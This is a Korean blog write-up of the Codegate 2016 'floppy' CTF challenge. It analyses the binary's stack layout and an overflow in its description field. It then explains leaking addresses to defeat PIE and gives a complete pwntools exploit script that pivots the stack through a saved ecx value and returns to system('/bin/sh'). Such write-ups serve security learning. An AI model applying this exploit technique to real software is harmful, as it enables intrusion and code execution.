본문 바로가기

CTF

[Codegate 2016] floppy

구조체는 IDA 스택을 보면 아래와 같이 파악할 수 있다.

flag[4], &data[4], description[10], dummy[2], datasize[4]


floppy2[24] + floppy1[24] + floppy_pointer[4] + dummy[8] + sfp[8]? + ret[4] 이런 구조다.

구조는 함수 프롤로그를 보고 다시 밑에서 정리했다.

 

취약점은 위 read(0, &s, 37) 에서 터진다. 

ret은 37-1 byte밖에 안되서 못덮지만 아래와 같은 특징때문에 익스가 가능하다.




해당 문제 메인함수 프롤로그와 에필로그를 보면 평범한 구조와는 좀 다르다.

그렇기에 esp를 조작하여 RTL 하면 될 것같다.

일단 해당 문제는 PIE가 걸려있기 때문에 __libc_start_main_ret 을 구해야한다.

그 전에 함수 프롤로그와 에필로그에 대해 gdb로 분석하였다.


아래는 함수 프롤로그를 막 지났을때의 stack 상황이다.

push dword ptr [ecx-4] 에는 __libc_start_main_ret 이

push ebp 에는 0x0

push ebx 에는 0x0

push ecx 에는 0xffffdae0 이 저장되어 있는걸 gdb로 확인할 수 있다.


위 모습은 에필로그를 지나기 직전에 사진이다.

ebp는 현재 0xffffdac8 이며 esp에 ebp-8(0xffffdac0) 을 넣는다. 

위 에필로그에서 보았듯이 0xffffdac0 에는 0xffffdae0 이 저장되어 있다.

즉 esp에는 0xffffdae0 값이 옮겨지고 pop ecx를 함으로써 ecx에 0xffffdae0 값이 옮겨진다.

또한 마지막에 lea esp, [ecx-4] 를 함으로써 esp에 ecx-4(0xffffdadc) 값을 옮겨주고 ret을 실행하는데

0xffffdadc 주소에는 __libc_start_main_ret 이 저장되어 있다!

위 원리대로 프로그램이 종료되는데 만약 여기서 ebp-8 을 조작해 payload가 있는 주소로 return 하게 하면된다.

ebp-8은 DESCRIPTTION에서 봤듯이 충분히 덮고도 남는다.

구조는 아래와 같으며, ebp-8가 있는 위치는 gdb에서 봤듯이 ecx 부분이 된다.

floppy2[24] + floppy1[24] + floppy_pointer[4] + ecx[4] + ebx[4] + ebp[4] +  dword ptr [ecx-4][4](ret) 

먼저 pie가 걸려있기 때문에 RTL 페이로드를 저장할 floppy1 시작 주소와 __libc_start_main_ret 주소가 필요하다.


DESCRIPTTION 에서 발생하는 오버플로우를 이용해 leak을 해주면 된다.

'A'를 32byte를 넣어주고 플로피1를 선택해 floppy1_pointer를 옮겨준 다음 sub_d5d 함수 실행시키면 위 사진과 같이 floppy1, __libc_start_main_ret 주소가 동시에 leak 되는걸 확인할 수 있다.


위와 같이 구했던 __libc_start_main_ret을 기준으로 base offset을 구하고 system, str_bin_sh offset을 구하면 익스 준비 끝이다.

[Exploit]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
 
= process('./floppy')
= ELF('./floppy')
 
base = 0x18637 
offset = 0x3ada0 #system offset
binsh = 0x15b9ab #_str_binsh offset
 
def choose(string):
    s.sendlineafter('>\n''1')
    s.sendlineafter('?\n\n', string)
 
 
def write():
    s.sendlineafter('>\n''2')
    s.sendlineafter(' \n\n''gg')
    s.sendlineafter(' \n\n''gg')
 
 
def modify(string):
    s.sendlineafter('>\n''4')
    s.sendlineafter('a\n\n''1')
    s.sendlineafter(' \n\n', string)
 
 
def view():
    global floppy1_addr
    global start_main_ret
    s.sendlineafter('>\n''3')
    s.recvuntil('AAAAAAAAAAAAAAAA')
    floppy1_addr = u32(s.recv(4)) #floppy1_addr
    s.recvuntil('AAAAAAAAAAAA')
    start_main_ret = u32(s.recv(4)) #libc_start_main_ret
 
    
def exit():
    s.sendlineafter('>\n''5')
 
 
choose('1')
write()
modify('A'*32)
choose('1')
view() #leak
 
base = start_main_ret - base
system = base + offset
log.info('floppy1 : ' + hex(floppy1_addr))
log.info('start_main_ret : ' + hex(start_main_ret))
log.info('base : ' + hex(base))
log.info('system : ' + hex(system))
log.info('binsh : ' + hex(base + binsh))
 
payload = ''
payload += p32(system) + 'AAAA' + p32(base + binsh)
payload += 'A'*8 + p32(floppy1_addr + 12#ebp-8
modify(payload)
exit()
s.interactive()
cs


'CTF' 카테고리의 다른 글

[White Hacker League 2017] Medic  (0) 2018.03.09
[White Hacker League 2017] Ghost  (0) 2018.03.05
[ROOTCTF 2017] Factorization(sandbag)  (0) 2018.02.24
[Codegate 2017] babypwn  (0) 2018.02.23
[Codegate 2016] watermelon  (0) 2018.02.23